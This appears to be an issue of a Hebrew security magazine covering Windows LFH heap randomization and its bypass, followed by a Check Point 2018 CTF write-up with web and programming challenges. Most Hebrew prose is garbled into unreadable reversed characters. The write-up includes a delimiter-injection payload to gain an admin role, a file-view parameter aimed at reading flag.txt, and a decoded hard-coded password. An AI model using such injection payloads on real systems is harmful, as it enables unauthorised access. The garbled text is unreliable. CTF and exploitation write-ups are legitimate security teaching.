ˢ ˫ˣ˵ˬ˟ ˨˶˰ˬ˟ ˞˴ˬˮ˷-index˩ ˣˮ˪ ˷ˬ˷ˬ ˞ˣˢˣ ,-index ˟ ˷ˣ˲˧˥ˢ ˸˪˧˥˸˪-bitmap ˢ ˪˷-userblocks 

ˢˬ ˪˥ˢ .˧˦ˮˣˣ˪˶ˢ-index ˪ ˫˧˰˧ˠˬ˷ ˡ˰ ˢˬ˧ˡ˵ ˫˧˵˶ˣ˯ ˢˤˢ-bit  ˭˧˧˴ˬ˷chunk ˧ˤ˥ˬ ˣ˸ˣ˞ˣ ,˶˶˥ˣ˷ˬ.˫˧˶ 

 ,˫˧˧˞˶˵˞ ˫˧˩˶˰ˢ ˪˩˷ ˸ˣ˶ˬ˪ .ˢ˴˧˶ˢ ˪˩ ˨˶ˣ˞˪ ˫˧˰ˣ˟˵ ˣ˶˞˷ˮ ˣ˪˪ˢ ˫˧˩˶˰ˢ˷ ˨˩˟ ˢ˸˧˧ˢ ˢ˷˪ˣ˥ˢ

 ˪˷ ˶ˣˤ˥ˬ ˧˶˥˞ ˪˟˞ ,˧˞˶˵˞ ˞ˣˢ ˶ˡ˯ˢ ˫ˮˬˣ˞ :˫˧˧ˣ˯ˬ ˫ˤ˧ˮ˧ˬ˶˦ˡ ˢ˲ ˪˴ˮ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞0x100 

.˧˞˶˵˞ ˶ˡ˯ ˣ˸ˣ˞˪ ˶ˣˤ˥ˮ˷ ˣˮ˪ ˥˦˟ˣˬ ˫˧˴ˣ˵˪˞ 
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ˢˬ ˫˞ ˰˴˟ˮ ˳ˣ˵˪˞ ˡ˥˞ ,ˤ˞ˣ ˪˩ˣˮ "˫ˡ˵˪" ˸˞ s-index  ˫˧˴ˣ˵˪˞ ˫˰ ˣˮ˪˷ ˫ˣˡˮ˶ˢ ˧˩˶˰ ˨˶˰ˬ ˪˰ ˳˶˷

ˢ ˣ˸ˣ˞ ˵ˣ˧ˡ˟˪ ˶ˣˤ˥˧˷ ˨˩ ,˫˧˶ˣ˶˥˷ˣ-index :˫˧˶˟ˡ ˧ˮ˷ ˣˮ˪ ˥˧˦˟˧ ˢˤ ?ˣ˟ ˣˮ˷ˬ˸˷ˢ˷ 

¶  ˫˧˴ˣ˵˪˞˟ ˸ˣ˲˧˴˶- ˢ ˸˞ ˵ˣ˶˯˪ ˪˧˥˸˧ ˞˟ˢ ˳ˣ˵˪˞ˢ ˢˤ˩˷ ˫ˣˡ˧˵ ˧˶˥˞-bitmap  ˢ˸ˣ˞ˬ ˵ˣ˧ˡ˟

 ˫˧˧˵ˣ ˳˵˪ˣ˞ˬ ˭ˣ˷˞˶ˢ ˦˵˧˧˟ˣ˞ˢ ˪˰ ˣˮ˶ˬ˷ ˫˞ .ˢˡˣ˵ˮchunk  ˨˩ˣ ,ˣ˸ˣ˞ ˣˮ˪˟˧˵˷ ˣˮ˪ ˥˦˟ˣˬ ,ˣ˧˶˥˞

.˭ˣ˶˩˧ˤ˟ ˱˧˴˶ ˭˲ˣ˞˟ ˫˧˦˵˧˧˟ˣ˞ ˧ˮ˷ ˣˮˬ˵˧ˬ 

 

¶  ˪˷ ˪ˣ˴˧ˮUAF  ˟˧˴˧-  ˸˞ ˵ˣ˧ˡ˟ ˪˟˵˪ˣ ,ˢˡˣ˵ˮˢ ˢ˸ˣ˞˪ ˯˵ˡˮ˧˞ˢ ˸˞ ˫ˡ˵˪ ,˦˵˧˧˟ˣ˞ ˶˶˥˷˪ ˶˷˲˞

˞ ˦˵˧˧˟ˣ˞ ˶ˣ˟˰ ˸˟ˣ˸˩ˢ ˢ˸ˣ˞ ˣ˸ˣ˞˟ ˣ˧ˢ˧ ˫ˢ˷ ˷˶ˣˡ ˭˧˧ˡ˰ ˢˤ˷ ˭˟ˣˬ˩ .ˣ˧˪˰ˬ ˟˷˧˷ ˶˥granularity. 

 

 ,ˢ˰˧ˠ˲˷ ˢˮˣ˶˥˞ˢ ˢ˯˶ˠˢ ˪˰˞˪ˬˢ ˡˣ˵ˢ :ˢ˧ˣ˲˴ˢ ˢ˞˴ˣ˸ˢ ˸˞ ˶˧ˤ˥˧ 

 

 ˪˷ ˢ˶˦ˬ˪ ˫ˠ ,˫ˣˡˮ˶ˢ ˭ˣˮˠˮˬ ˸˞ ˱ˣ˵˰˪ ˣˮ˥˪˴ˢ ˭˩˞˷ ˫˧˞ˣ˶ ˣˮ˞UAF ˢ ˸˞ ˪˟˵˪)-chunk  ˭ˣ˶˥˞ˢ

.˫˧˴ˣ˵˪˞˟ ˸ˣ˲˧˴˶ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰ ˫ˠˣ ,(ˣˮ˶˶˥˷˷ 

https://github.com/saaramar/Deterministic_LFH
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-˟MS  ˡ˞ˬ ˦ˣ˷˲ ˭ˣ˵˧˸ˢ .˭ˣ˵˧˸ ˣˠ˧˴ˢˣ ,˫˟˧˪ ˸ˬˣ˷˸˪ ˸˞ˤ ˣ˥˵˪- ˢ˷˩-index  ˫ˣˡˮ˶ˢ ˧˩˶˰ ˨˶˰ˬ ˪˰

 ˸ˣ˷˰˪ ˫ˣ˵ˬ˟ ,˱ˣ˯˪ ˰˧ˠˬwrap around ˬ ˪˧˥˸ˢ˪ˣ-0˪ ˸˥˞ ˫˰˲ ˡˣ˰ ˫˧˞˶ˣ˵ ,-

RtlpHeapGenerateRandomValue32()ˢ ˸˞ ˫˧˰˟ˣ˵ˣ ,-index  ˭˧˟) ˧˪ˬˣˡˮ˶ ˸ˣ˧ˢ˪ ˞˟ˢ0 ˪-0xff  ,(˭˟ˣˬ˩

.˸˧˶˞ˮ˧˪ ˳ˣ˶˪ ˫˧˩˧˷ˬˬ ˫˷ˬ 

 

ˣˤ ,˶˟˩ ˢˮ˵ˣ˸ ˣˤ ˢ˦˧˷˷ ˸ˣ˶ˬ˪  ˸ˣ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˧ˡ˩ ˵ˬˣ˰˪ ˢ˪˞˩ ˫˧ˮˣˮˠˮˬ ˭˧˟ˢ˪ ˢˣˣ˷˷ ˢ˟ˣ˦ ˢˬˠˣˡ

ˢ ˪˷ ˢ˶˵ˬ˟ .˫ˢ˪˷ ˭ˣˮ˩˸˟-LFH ˷˧ ,bounty ˢˤˢ ˠˣ˯ˬ ˸ˣ˷˪ˣ˥ ˪˰˪ ˰˧ˠˬ˷ ,-100,000$ 

 

ˠ˞˟˧ˡ 

 ˫˧ˠ˟ˡˬ ˫˸˞˷˩ .ˢˤ ˪˩ ˫˰ ˡˡˣˬ˸ˢ˪ ˫˧˶˴˵ ˫˧˲˧˦ ˢˬ˩ ,˫˧˧˯ˮ˷ ˧ˮ˲˪process  ˨˧˞ ˸ˣ˞˶˪ ˫˧˴ˣ˶ˣ ˣˢ˷˪˩

-sLFH  ˸ˣˡˣ˵˲˟ ˷ˬ˸˷ˢ˪ ˧˞ˡ˩ ,ˢ˞˶ˮ ˫˩˪˷builtin  ˪˷WinDbg: 

¶ !heap -p -a <addr> 

¶ !heap -p -all 

¶ !address <addr> 

:˞˟ˢ ˡˣ˵ˢ ˸˞ ˫˧ˮ˥ˣ˟˷ ˥˧ˮˮ ,˭˧˧ˮ˰ˢ ˨˶ˣ˴˪ .˸ˣ˞ˬˠˣˡ˟ ˢ˪˞ˢ ˸ˣˡˣ˵˲ˢˬ ˦˰ˬ ˭˥˟ˮ ˣ˞ˣ˟ 

 

https://www.microsoft.com/en-us/msrc/bounty-mitigation-bypass
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ˢ ˸˞ ˸ˣ˞˶˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟-layout ˢ ˪˷-heap :ˢ˞˟ˢ ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˢ˪ ˪˩ˣˮ ,!heap -p ςall  ˠ˧˴˸ ˞˧ˢ

ˢ ˪˩ ˸˞ ˣˮ˪-chunk-˟ ˫˧-heap,  ˪ˡˣˠ ,ˣ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˢ˞˶ˮ ˡ˥˞ ˪˩ ˶ˣ˟˰ .˭ˣ˶˩˧ˤ˟ ˫ˢ˪˷ ˶ˡ˯ˢ ˧˲ ˪˰

ˢˣ ˳ˣ˵˪˞ˢ-state  ˠ˧˴˸ ˢˡˣ˵˲ˢ ˪˰ˣ˲˟ .(˳˵˪ˣ˞ˬ/˶˶˥ˣ˷ˬ) ˣ˪˷2 ˸ˣ˟ˣ˸˩: ˢ ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ ˢˮˣ˷˞˶ˢ-

header ˵ˣ˧ˡ˟ ˞˧ˢ˷ ,8 ˢ ˪˷ ˸˟ˣ˸˩ˢ ˧ˮ˲˪ ˫˧˸˟-chunk ˪ ˢ˶ˤ˥˷ ˧˲˩-caller. 

  ˢˡˣ˵˲ˢ ˪˷ ˢ˞˴ˣ˸ˢ ,˸˞ˤˢ ˸˧ˮ˩ˣ˸ˢ ˪˰:ˢ˩˩ ˨˶˰˟ ˢ˞˶˸ 

 

 ˪ˡˣˠ˟ ˫˧˴ˣ˵˪˞ ˢˬ˩ ˫˧˞ˣ˶ ˣˮ˥ˮ˞0x200 ˢˬ-bucket  ˪ˡˣˠ˟ ˫˧˴ˣ˵˪˞ ˢˬ˩ˣ ,˫˧˞˸ˬˢ0x40 ˟-bucket 

ˢ˷ ˭˟ˣˬ˩ .˫ˢ˪˷-output ˪ ˢ˲˧ˣ ˢ˶ˣ˶˟ˢ ˢ˵ˣ˪˥˪ ˟˪ ˣˬ˧˷ .ˢˤˬ ˨ˣ˶˞ ˞˪ˬˢ-userblocks ˸ˣ˶ˬ˪ .

.˸ˣˡ˶˲ˮ ˸ˣ˴ˣ˟˵˟ ˫˧˟˷ˣ˧ ˫ˢ ,˭˧ˠˣ˶˧˯˪ ˫˧˴˵˪ˣ˞ˬ ˫˧ˮˣ˷ˢ ˫˧˪ˡˠˢ˷ 

 ˪˷ ˱ˣ˯˟˷ ˟˪ ˣˬ˧˷userblocksˢ ,-debugger  ˸˟ˣ˸˩ˢ ˥˧ˮˮ .˫˧˧˶˵˷ ˫˧˩˶˰ ˭˸ˣˮˣ ˨˟˸˯ˬ ˦˰ˬ

0x1534050 ˸˪˧˥˸˟ ˦ˣ˷˲ ˞˧ˢ˷ ,header  ˪˷userblocks x-page  ˪˷ ˪ˡˣˠ ˸˪˰˟˩ ˸˶˯˶˲˸ˬ ,˷ˡ˥
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0x1000  ˩"ˢ˯˟ ˞˧ˢ ˢ˞˟ˢ ˸˟ˣ˸˩ˢ˷ ˸ˣ˞˶˪ ˫ˠ ˭˸˧ˮˣ ,˭ˣ˩ˮ ˞˪ ˭˟ˣˬ˩ ˢˤ .˫˧˸˟0x30  .ˢˬ˧ˡ˵ ˫˧˸˟

 ˦ˣ˷˲ ˪˷ ˶ˣ˯˶˲˟ ˫˧ˬ˰˲˪ ˢ˶ˣ˵ ˢˤ ,˭ˢˬ ˫˪˰˸ˢ˪ˣ ˢ˪˞ˢ ˸ˣ˧ˣ˰˦ˢ ˸˞ ˸ˣˢˤ˪ ˨˧˶˴pageˣ ˫˧-

userblocks .˫˧˷ˡ˥ 

ˢ ˸˞ ,ˢ˧˪˰ ˸˧˲˧˴˲˯ ˫˧ˮ˸ˣˮ ˸ˣ˶˥˞ˢ ˸ˣˡˣ˵˲ˢˬ ˪˟˵˪ˣ ,˸˧˲˧˴˲˯ ˸˟ˣ˸˩ ˭ˣ˥˟˪ ˭˸˧ˮ ,˱˯ˣˮ˟-protection 

:'ˣ˩ˣ ˳ˣ˵˪˞ ˪ˡˣˠ ,˭ˣ˶˩˧ˤˢ ˪˷ 
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˫ˣ˩˧˯ 

 ˸ˣ˷˪ˣ˥ ˪˴ˮ˪ ˶˸ˣ˧ ˢ˷˵ ˸˧˸ˣ˰ˬ˷ˬheap ˟-userspace ˟-Windows  ˸ˣ˦˧˷ ˶˲˯ˬ ˣˮ˧˞˶ .˶˟˰˟ ˶˷˞ˬ

 .˸˧˦˯˶ˡ ˞˧ˢ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˪˰ ˢ˰˲˷ˢˢ ,˱˶ˣˠ ˭˲ˣ˞˟ ˪˟˞ ,˶˸ˣ˧˟ ˫˧˷ˡ˥ˢ ˫˧ˮˣˮˠˮˬˢ ˫˰ ˫ˠ ˡˡˣˬ˸ˢ˪

-sLFH  ˸ˣ˧ˢ˪ ˫˧ˬ˧ˣ˯ˬ ˫˧˟˧˦˧ˬ˧˶˲˪ ˫˶ˣˠ ˱˞ˣ ,˸ˣˬ˧ˣ˯ˬ ˸ˣ˷˪ˣ˥ ˪˷ ˸ˣ˟˧˴˧ˢ ˸˞ ˸˧˸ˣ˰ˬ˷ˬ ˡ˧˶ˣˬ

˷ˢ ˸ˣ˶ˬ˪ .˫˧˪˧˴ˮ ˞˪ ˸˧˦˵˶˲ ˶ˣ˲˧˷ ˫˧˧˵ ˱˞ˣ) ˸˧˪˞ˬ˧ˮ˧ˬ ˞˧ˢ ˫˧˰ˣ˴˧˟˟ ˢ˰˧ˠ˲ˢ ,ˢ˥˦˟˞˟ ˫˧˶ˣ˲˧

.(˫˧˶˵ˬˢˬ ˵˪˥˟ ˫˧˰ˣ˴˧˟˟ 

˟ ˟˴ˬ˪ ˢ˞ˣˣ˷ˢ˟-kernelˢ ˪˷ ˳ˣ˵˪˞ˢ ˭ˣˮˠˮˬ ,-Windows Pools  ˷˧ ,(˪˪˩˟ ˫ˣˡˮ˶ ˭˧˞) ˧ˣ˲˴ ˞ˣˢ

coalesce ˶ˣ˟˷˪ ˭˸˧ˮ ,˫˧chunk-ˢ ˪˰ ˸˧˯˧˯˟ ˢˮˠˢ ˭˧˞ ˣ˪˧˲˞ˣ ˸ˣ˪˵˟ ˫˧-header ˪˷ ˫˧chunk-˧ˢ) ˫-

metadata  ˶˟ˣ˰ ˞˪ˣ ˧ˣ˪ˠxor  ˫˰cookie ˪˧˥˸ˢ˪ ˡˣ˞ˬ ˧˞ˡ˩ ˫˧˧˪ˮ˶˵ ˫˧˪ˣ˴˧ˮ ˶ˣ˟˰ ˫ˠ ,˸˞ˤ ˸ˣ˶ˬ˪ .(

ˢ ˸˞ ˶˧˩ˢ˪-LFHˬ ˪˥ˢ :-build 17723 ˪-fast ringˣ ,-18204 ˪-skip ahead ˸˞ ˣˮ˪˟˧˵ ,kLFHˢ˷ , ˞ˣ

 ˶ˣ˦˵ˣ˪˞frontend ˢ ˣ˪˧˟˵ˬ ˪˰ ˯˯ˣ˟ˬ˷-userspace- ˫˧˪ˣ˴˧ˮ ˪˰ ˸ˣ˵ˣˬ˰ ˰˧˲˷˧˷ ˧˸ˣˢˬ ˧ˣˮ˧˷ ˣˢˤ .˧

.˪ˮ˶˵˟ ˫ˠ ,˫˧˧ˡ˧˸˰ 

Windows .˫˰˲ ˢ˧ˢ˷ ˢˬ ˞˪ ˞ˣˢ 

 

˸˲˯ˣˮ ˢ˞˧˶˵˪ 

¶ Windows 8 heap internals 

¶ The segment heap 

¶ ˬ ,˶˸ˣ˧ ˭˷˧-windows 7  (˫ˣ˧ˢ˪ ˧˦ˮˣˣ˪˶ ˞˪ ˵˪˥)- Understanding the LFH 

¶ ˢˮˣ˷˞˶ˢ ˸ˠ˴ˬˢˬ ˣ˥˵˪ˮ ˢˤ ˶ˬ˞ˬ˟ ˸ˣˮˣˬ˸ˢˬ ˵˪˥ 

 
  

https://twitter.com/epakskape/status/1022557117998231552
http://illmatics.com/Windows%208%20Heap%20Internals.pdf
http://illmatics.com/Windows%208%20Heap%20Internals.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf
http://illmatics.com/Understanding_the_LFH.pdf
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˶ˠ˸˞ ˧Check Point 2018 

 ˸˞ˬDvd848 

 

˞ˣ˟ˬ 

˵'˴ ˸˶˟˥- ˶˟˧˧˯˪ ˢˮˣ˷˞˶ˢ ˢ˧ˬˡ˵˞ˢ" ˪˷ ˫ˣ˯˶˲ˢ ˰˯ˬ ˸˶ˠ˯ˬ˟ ˫˧˶ˠ˸˞ ˪˷ ˢ˶ˡ˯ ˢˬ˯˶˲ ˦ˮ˧ˣ˲

˴ ˸˧˟ˬô˵- ˫ˢ˧ˮ˧˟ ,˫˧ˬˣ˥˸ ˶˲˯ˬˬ ˣ˰˧ˠˢ ˫˧˶ˠ˸˞ˢ ."˦ˮ˧ˣ˲Web ,Reversing ,Programming ,

Networking x-Logic. .ˣ˪˞ ˫˧˶ˠ˸˞˪ ˧˪˷ ˸ˣˮˣ˶˸˲ˢ ˸˞ ˠ˧˴˞ ˢˤ ˶ˬ˞ˬ˟ 

 

˶ˠ˸˞ 1: Return of the Robots )˸˧˧˶ˣˠ˦˵ Web ,10 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

Return of the Robots 

Robots are cool, but trust me: their access should be limited! 

 ˪˰ ˦˯˵˦ ˫˰ ˶˸˞˪ ˶ˣ˷˧˵ ˱˶ˣ˴ ˢ˵˯˲˪:ˢ˵˧˦ˣ˟ˣ˶ˢ ˸˧˧˶ˣ˦˯˧ˢ 

 

 

ˢ ˫˪ˣ˰˟˷ ˭˟ˣˬ˩ ˞ˣˢ ˶˧˩ˤˢ˪ˬ ˰ˮˬˮ ˦˯˵˦ˢ˷ ˢˬ-Web ˥ˮˣˬˢ ,Robots  ˪˷ ˢ˧˴˞˧˴ˣ˯˞ ˳˧˲˵ˬ ˡ˧ˬ

˳˟ˣ˵ˢ robots.txt ."˫˧˦ˣ˟ˣ˶ ˸˪˪˩ˢ ˧˞ ˪ˣ˵ˣ˦ˣ˶˲" ˶˸ˣ˧ ˧ˬ˷˶ˢ ˣˬ˷˟ ˣ˞ , 

https://en.wikipedia.org/wiki/Robots_exclusion_standard
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˶˟ˣˡˬ ˟ ˦ˮ˶˦ˮ˧˞ˢ ˸˞ ˫˧˵˶ˣ˯˷ ˷ˣ˲˧˥ ˧˰ˣˮˬ ˪˷ ˫˧˦ˣ˟ˬ ˷˵˟˪ ˫˧˶˸˞ ˧˪˰˟˪ ˶˷˲˞ˬ˷ ˪ˣ˵ˣ˦ˣ˶˲

 ˞ˣˢ ,˶˸˞˪ ˰˧ˠˬ ˷ˣ˲˧˥ˢ ˰ˣˮˬ ˶˷˞˩ .˷ˣ˲˧˥ˢ ˰ˣˮˬ ˸ˣ˞˴ˣ˸˟ ˶˸˞ˢ ˪˷ ˫˧ˬ˧ˣ˯ˬ ˫˧˲ˡ ˪ˣ˪˩˪ˬ ˰ˮˬ˧ˢ˪

 ˳˟ˣ˵ˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˵ˣˡ˟˪ ˶ˣˬ˞robots.txt  ˰ˣˮˬ ,˫˧˧˵ ˢˤ˩ ˳˟ˣ˵ ˫˞ .˶˸˞ˢ ˪˷ ˷˶ˣ˷ˢ ˸˧˧˵˧˸˟

 ˷ˣ˲˧˥ˢ ˰ˣˮˬˬ ˰ˮˣˬ ˞˪ ˶˟ˡ ˫ˣ˷ˣ ˢˬ˩˯ˣˬ ˧ˢˣˤ˷ ˭˟ˣˬ˩) ˳˟ˣ˵˟ ˸ˣˮ˧ˣ˴ˬ˷ ˸ˣ˟ˣ˸˩ ˯˵ˡˮ˞˪ ˶ˣˬ˞ ˞˪

.(˱ˡ˪ ˢ˷˧ˠ ˣ˪ ˷˧ ˡˣ˰ ˪˩ ,ˢ˴ˣ˶ ˞ˣˢ˷ ˢˬ ˯˵ˡˮ˞˪ ˷ˣ˲˧˥ 

 .ˢˤˢ ˳˟ˣ˵˟ ˫˸ˣ˞ ˪ˣ˪˩˪ ˪ˣ˩˧ ˞ˣˢ ,˧˟ˬˣ˲ ˭˲ˣ˞˟ ˱ˣ˷˥˪ ˭˧˧ˮˣ˰ˬ ˞˪ ˶˸˞ˢ ˪ˢˮˬ˷ ˫˧˲ˡ ˫˧ˬ˧˧˵ ˫˞ ,˶ˬˣ˪˩

 ˫˴˰ˬ ,˸˶˥˞ ˢ˧˰˟ ˶˴˧˧ˬ ˢˤ ,˫˪ˣ˞ ˸ˡ˵ˣˬˬ ˢˬ˧˷˶ ˪˪ˣ˩ ˞ˣˢ :˧˟ˬˣ˲ ˸ˣ˧ˢ˪ ˟˧˧˥ ˢˤˢ ˳˟ˣ˵ˢ˷ ˢˡ˟ˣ˰ˢ

.˧˶ˣ˟˧˴ ˭˧˧ˮ˰ ˫ˢ˪ ˭˧˞˷ ˫˧˲ˡˢ ˪˩ ˪˷ ˢ˷˧ˠˮˣ 

:˞˟ˢ ˭˩ˣ˸ˢ ˸˞ ˞˴ˬˮ ,˶ˠ˸˞ˢ ˪˷ ˸˶˷ˢˬ ˳˟ˣ˵ˢ ˸˞ ˞ˣ˶˵˪ ˢ˯ˮˮ ˫˞ 

User - agent: *  

Disallow: /secret_login.html  

:ˢ˞˶ˮˣ ˱ˡ˪ ˷ˠ˧ˮ 

 

:˨˩ ˢ˞˶ˮ ˱ˡˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ 

<html>  

 <body>  

  <script  type ="text/javascript" > 

  function  r ( n)  {  

    for  ( var  r =0,  o=0,  e="" ,  t =0;  t <n.length ;  t ++)    

       n[ t ]. toLowerCase ()  !=  n[ t ]  && ( r +=1),  8 == ++o  

        ? ( e += String.fromCharCode ( r ),  r =0,  o=0)  :  r <<= 1;  alert ( e)   

  }  

 

  function  auth ( n)  {  

    if  ( "SzMzcFQjM1IwYjB0JDB1dA=="  == btoa ( n))  

    var  a = 

"pVPmwMHevTZoIGjevOQdfpiLwEQwxYINxOBVNyFGhUPimVXUhdMWqrzmjAXIzTpvlZFXgFvisSEnblc

PnLfZUBUPnZPtXwQOpnUWfyAUhbANrqOKySBErmflnHfWLVAXvOSKpCqwaWWvLrskwFNxWTYTnCAKteT

GjYIxsKpXwGuDNWXLyMTVphBuryEVylptvSDaxrMnmgPSokwcfDIVhNsutQCLppSVjYiQFLNWtCVeRRT

ZkRQEsMzDhBPMrSycaHGWMDpY";  

    else  a = 

"sRnDjXnrzAZVoxXnjSWLUoyWtgQpzziflCuxapkGjYEcrUADyMZlgunEaXLqYncWlHGpIVMvltZxveo

E" ;   

     r ( a)  

  }  

  </script>  

  <h1>No Robots Allowed </h1>  

  <label  for ="userPassword" >Password: </label>  

  <input  id ="userPassword"  type ="password"  required > 

  <input  type ="submit"  value ="Submit"  onclick  = "auth(userPassword.value);" > 

 <body>  

</html>  
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 ˸˧˧˴˵ˮˣ˲˷ ˸ˣ˞˶˪ ˶˷˲˞auth ˟ ˡˡˣ˵ˬ) ˰ˣ˟˵ ˨˶˰ ˪˞ ˷ˬ˸˷ˬˢˬ ˢ˪˟˵˸ˢ˷ ˞ˬ˯˧˯ˢ ˸˞ ˢˣˣ˷ˬ-

Base64 ˸˧˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ˢˬ ˶˞˷ˢ ˭˧˟ ˸ˣ˞˶˪ ˶˷˲˞˷ ˧˲˩ ,btoa ˟ ˸ˤˣ˶˥ˬ ˸ˡˡˣ˵ˬ˷-Base64 .(

 ˸˧˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˮatob :˞ˬ˯˧˯ˢ ˸˞ ˪˟˵ˮˣ ˡˣˡ˧˵ˢ ˥ˣˮ˰˲˪ 

>> atob ( "SzMzcFQjM1IwYjB0JDB1dA==" )   

"K33pT#3R0b0t$0ut"  

 ˱ˡˢ ,ˢ˟ˣˠ˸˟:˪ˠˡˢ ˸˞ ˳˧˲˵˧ 
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˶ˠ˸˞ 2: Diego's Gallery )˸˧˧˶ˣˠ˦˵ Web ,20 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

Diego's Gallery 

Recently I've been developing a platform to manage my cat's photos and keep my flag.txt safe. Please 

check out my beta 

To avoid security loop holes such as SQL injections I developed my own scheme. 

  

Every line in my DB look's like this: 

> START|||username|||password|||role|||END  

So for example: 

> START|||diego|||catnip|||admin|||END  

> START|||joe|||1234567|||user|||END  

:˦ˣ˷˲ ˸ˣ˶˟˥˸ˢ ˯˲ˣ˦ ˪˧˩ˬ ˶˸˞ˢ 

 

˟ ˣˬ˩-SQL Injection  ˪˰ ˵˶ ˫ˣ˵ˬ˟ ˶˧˟˥˸ˢ ˪˰ ˰˧˲˷˧˷ ˸ˣˡ˷ˢ ˡ˥˞˟ ˦˪˵ ˯˧ˮ˩ˢ˪ ˢ˴˶ˮ ,˧˯˧˯˟

.˫˧ˮˣ˸ˮˢ :˯˧ˮ˩ˮ ,˞ˬ˯˧˯ˢ ˫ˣ˵ˬ˟ ˫˞ ,˪˷ˬ˪ 

some_password ||| admin ||| END 

:ˢ˧ˢ˧ ˧˲ˣ˯ˢ ˶˧˟˥˸ˢ 

START||| some_username ||| some_password ||| admin ||| END||| user ||| END 

:˪ˣˢ˧ˮˢ ˱ˡ˪ ˢ˷˧ˠ ˪˟˵ˮˣ ,˪ˢˮˬ ˞ˣˢ ˣˮ˪˷ ˷ˬ˸˷ˬˢ˷ ˟ˣ˷˥˪ ˡˣ˵˪ ˫ˣ˶ˠ˪ ˥˧˪˴ˮ ˨˩ˣ 

 

http://35.194.63.219/csa_2018/diegos_gallery/_trpyyxfhoszl
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:˸ˣ˟ˣ˸˩ˢ ˸˶ˣ˷˪ ˟˪ ˣˬ˧˷ ˨˞ ,˭˧˧ˮ˰ˬ ˶˟ˡ ˫ˣ˷ ˫˧˷ˣ˰ ˞˪ ˪ˣˢ˧ˮˢ ˧˶ˣ˸˲˩ 

http://35.194.63.219/csa_2018/diegos_gallery/_trpyyxfhoszl/admin-panel/index.php?view=log.txt 

 ˳˟ˣ˵ˢindex.php  ˭˩ˣ˸ˢ ˸˞ ˠ˧˴ˬˣ ˳˟ˣ˵ ˪˷ ˫˷ ˶˦ˬ˶˲˩ ˪˟˵ˬ ˫ˣ˵ˬ˟ ˫˞ ˢ˶˵˧ ˢˬ .ˣ˪˷log.txt  ˷˵˟ˮ

 ˪˷ˬ˪ ,˶˥˞ ˳˟ˣ˵flag.txt? 

 

  

http://35.194.63.219/csa_2018/diegos_gallery/_trpyyxfhoszl/admin-panel/index.php?view=log.txt
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˶ˠ˸˞ 3: Careful Steps )˸˧˧˶ˣˠ˦˵ Programming ,20 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

This is a bunch of archives we've found and we believe a secret flag is somehow hidden inside 

them. 

We're pretty sure the information we're looking for is in the comments section of each file. 

Can you step carefully between the files and get the flag? 

Good luck! 

 ˪˧˩ˬ ˭ˣ˧˩˶˞ˢ ˳˟ˣ˵2000 ˬ ˪˥ˢ ,˫˧˴˟˵-unzipme.0 ˪ ˡ˰ˣ-unzipme.1999.  ˸ˡˣ˵˲˟ ˷ˣˬ˧˷file  ˢ˞˶ˬ

˷ ˱˯ˣ˞˟ ˶˟ˣˡˬ˷ ˧˴˟˵ ˪RAR x-ZIP: 

 

,˨˩ ˪˩ ˭˧˧ˮ˰ˬ ˢ˞˶ˮ ˞˪ ˭˩ˣ˸ˢ  ˸˲˯ˣˢ˟ ˫˧˩ˬˣ˸ ˫˧˦ˬ˶ˣ˲ˢ ˧ˮ˷) ˸ˣ˶˰ˢ˪ ˣˮ˸ˣ˞ ˣ˥˪˷ ˸ˣ˞˶ˣˢˢ ˪˟˞

 .(˭ˣ˧˩˶˞ˢ ˳˟ˣ˵˪ ˸ˣ˶˰ˢ 

 ˳˟ˣ˵ ˪˷ ˢ˶˰ˢ ˸ˣ˞˶˪ ˶˷˲˞ZIP  ˸ˡˣ˵˲ ˸ˣ˰˴ˬ˞˟unzip -z: 

 

 ˢˤ˧˞˪ ˸ˣ˞˶ˣˢ ˶ˣ˸˟ ˶˲˯ˬˢ ˪˞ ˯˥˧˧˸ˢ˪ ˢ˯ˮˮ .˶˲˯ˬˣ ,˸ˣ˞ ˸˪˪ˣ˩ ˢ˶˰ˢ ˪˩˷ ˢ˞˶ˮ ˡ˰˴˟ ˳ˣ˲˵˪ ˳˟ˣ˵

.˪ˠˡˢˬ ˵˪˥ ˶ˣ˸˟ ˸ˣ˞ˢ ˪˞ˣ ,˞˟ˢ 

:˞˟ˢ ˦˲˧˶˵˯˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ˨˩ ˫˷˪ 

import  os  

import  zipfile  

import  rarfile  

import  sys  

 

 

print  ( "Reading comments..." )  

listOfFiles = sorted ( os . listdir ( 'archives' ))  

comments = {}  

https://s3.eu-central-1.amazonaws.com/csh-static/careful_steps/ad9c64b6d99e1b6beac878bef108dfbe873fc5ddfd5a469322cf6c0c231f1524.zip
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for  file_name in  listOfFiles :  

    try :  

        with  zipfile . ZipFile ( 'archives/'  + file_name )  as  zf :  

            comment = zf . comment. decode ( "utf - 8" )  

    except  zipfile . BadZipFile :  

        try :  

            with  rarfile . RarFile ( 'archives/'  + file_name )  as  rf :  

                comment = rf . comment 

        except  e:  

            raise  e 

    #print ("{} \ t{}".format(file_name, comment))  

    comments [ int ( file_name . replace ( "unzipme." ,  "" ))]  = comment. rstrip ()  

 

print  ( "Following trail..." )  

current_index = 0 

new_offset = 0 

while  True :  

    current_index = current_index + new_offset  

    #print ("Trying to access {}".format(current_index + new_offset))  

     

    current = comments [ current_index ]  

    char ,  new_offset = current . split ( "," )  

    new_offset = int ( new_offset )  

    #print ("{}, {}".format(char, new_offset))  

    sys . stdout . write ( char )  

 

    if  new_offset == 0:  

        break  

